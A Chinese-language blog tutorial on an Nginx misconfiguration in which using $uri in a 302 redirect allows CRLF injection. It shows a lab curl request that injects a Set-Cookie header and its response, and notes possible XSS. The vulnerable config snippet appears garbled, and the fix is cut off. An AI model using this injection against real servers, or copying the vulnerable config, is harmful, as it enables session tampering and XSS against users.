nginx常见漏洞解析_nginx漏洞,值得推荐

  1. 用户访问http://example.com/aabbcc,自动跳转到https://example.com/aabbcc
  2. 用户访问http://example.com/aabbcc,自动跳转到http://www.example.com/aabbcc

第二个场景主要是为了统一用户访问的域名,更加有益于SEO优化。

在跳转的过程中,我们需要保证用户访问的页面不变,所以需要从Nginx获取用户请求的文件路径。查看Nginx文档,可以发现有三个表示uri的变量:

  1. $uri
  2. $document_uri
  3. $request\_uri

location / {
return 302 https:// h o s t host hosturi;
}
#因为$uri是解码以后的请求路径,所以可能就会包含换行符,也就造成了一个CRLF注入漏洞。

解释一下,1和2表示的是解码以后的请求路径,不带参数;3表示的是完整的URI(没有解码)。那么,如果运维配置了下列的代码:

location / {
return 302 https:// h o s t host hosturi;
}
#因为$uri是解码以后的请求路径,所以可能就会包含换行符,也就造成了一个CRLF注入漏洞。

因为**$uri**和**$document_uri**是解码以后的请求路径,所以可能就会包含换行符,也就造成了一个CRLF注入漏洞。

1.1利用方式:

我们在请求的过程中发送一个带有%0d%0a编码的请求:

#请求内容
curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
#测试结果
[root@blackstone insecure-configuration]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Thu, 12 Jan 2023 12:18:16 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/
Set-Cookie: a=1

我们通过上述手段对请求进行了修改,利用此漏洞可以看到返回了一个set-cookie,也就是说错误的使用$uri配置会是用户的请求被黑客悄无声息的篡改掉。

我们使用burp抓包可以看到另一种可能性:在我们发送两个连续的换行\r\n,可以直接修改返回报文的返回体。插入js代码引发xss。

1.2修改方案

在获取用户的请求路径时,配置文件内出现的配置应当是**$request_uri**,例如:

location / {
return 302 https://

  • 21
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值